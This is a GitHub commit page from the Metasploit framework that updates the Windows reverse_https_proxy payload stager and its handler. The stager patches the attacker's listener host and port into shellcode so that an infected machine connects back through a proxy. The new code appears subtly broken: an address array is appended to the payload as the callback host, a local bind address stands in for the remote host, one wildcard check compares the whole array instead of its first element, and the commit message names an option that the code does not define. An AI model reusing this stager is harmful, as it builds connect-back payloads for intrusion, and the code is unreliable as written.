Skip to content

Commit 063da8a

Browse files
committed
Update reverse_https_proxy stager/handler
This change updates the proxy handler code, which for some reason was ommitted in the orginal commits. This now uses the same mechanism as the new code. It removes `HIDDENHOST` and `HIDDENPORT`, and instead uses `ReverseListenerBindHost` and `ReverseListenerBindAddress`.
1 parent 1281058 commit 063da8a

File tree

2 files changed

+36
-12
lines changed

2 files changed

+36
-12
lines changed

lib/msf/core/handler/reverse_https_proxy.rb

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -42,13 +42,17 @@ def initialize(info = {})
4242
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
4343
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
4444
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
45-
OptString.new('HIDDENHOST', [false, "The tor hidden host to connect to, when set it will be used instead of LHOST for stager generation"]),
46-
OptInt.new('HIDDENPORT', [ false, "The hidden port to connect to, when set it will be used instead of LPORT for stager generation"]),
4745
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
4846
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
4947
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
5048
], Msf::Handler::ReverseHttpsProxy)
5149

50+
register_advanced_options(
51+
[
52+
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
53+
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ])
54+
], Msf::Handler::ReverseHttpsProxy)
55+
5256
end
5357

5458
end

modules/payloads/stagers/windows/reverse_https_proxy.rb

Lines changed: 30 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -134,11 +134,7 @@ def generate
134134
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("l")[0] + jmp_offset].pack("V")
135135

136136
# patch the LPORT
137-
unless datastore['HIDDENPORT'].nil? or datastore['HIDDENPORT'] == 0
138-
lport = datastore['HIDDENPORT']
139-
else
140-
lport = datastore['LPORT']
141-
end
137+
lport = bind_port
142138

143139
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
144140
p[lportloc+1] = [lport.to_i].pack('V')[0]
@@ -148,11 +144,7 @@ def generate
148144

149145
# append LHOST and return payload
150146

151-
unless datastore['HIDDENHOST'].nil? or datastore['HIDDENHOST'].empty?
152-
lhost = datastore['HIDDENHOST']
153-
else
154-
lhost = datastore['LHOST']
155-
end
147+
lhost = bind_address
156148
p + lhost.to_s + "\x00"
157149

158150
end
@@ -163,5 +155,33 @@ def generate
163155
def wfs_delay
164156
20
165157
end
158+
159+
protected
160+
161+
def bind_port
162+
port = datastore['ReverseListenerBindPort'].to_i
163+
port > 0 ? port : datastore['LPORT'].to_i
164+
end
165+
166+
def bind_address
167+
# Switch to IPv6 ANY address if the LHOST is also IPv6
168+
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
169+
# First attempt to bind LHOST. If that fails, the user probably has
170+
# something else listening on that interface. Try again with ANY_ADDR.
171+
any = (addr.length == 4) ? "0.0.0.0" : "::0"
172+
173+
addrs = [ Rex::Socket.addr_ntoa(addr), any ]
174+
175+
if not datastore['ReverseListenerBindAddress'].to_s.empty?
176+
# Only try to bind to this specific interface
177+
addrs = [ datastore['ReverseListenerBindAddress'] ]
178+
179+
# Pick the right "any" address if either wildcard is used
180+
addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0")
181+
end
182+
183+
addrs
184+
end
185+
166186
end
167187

0 commit comments

Comments
 (0)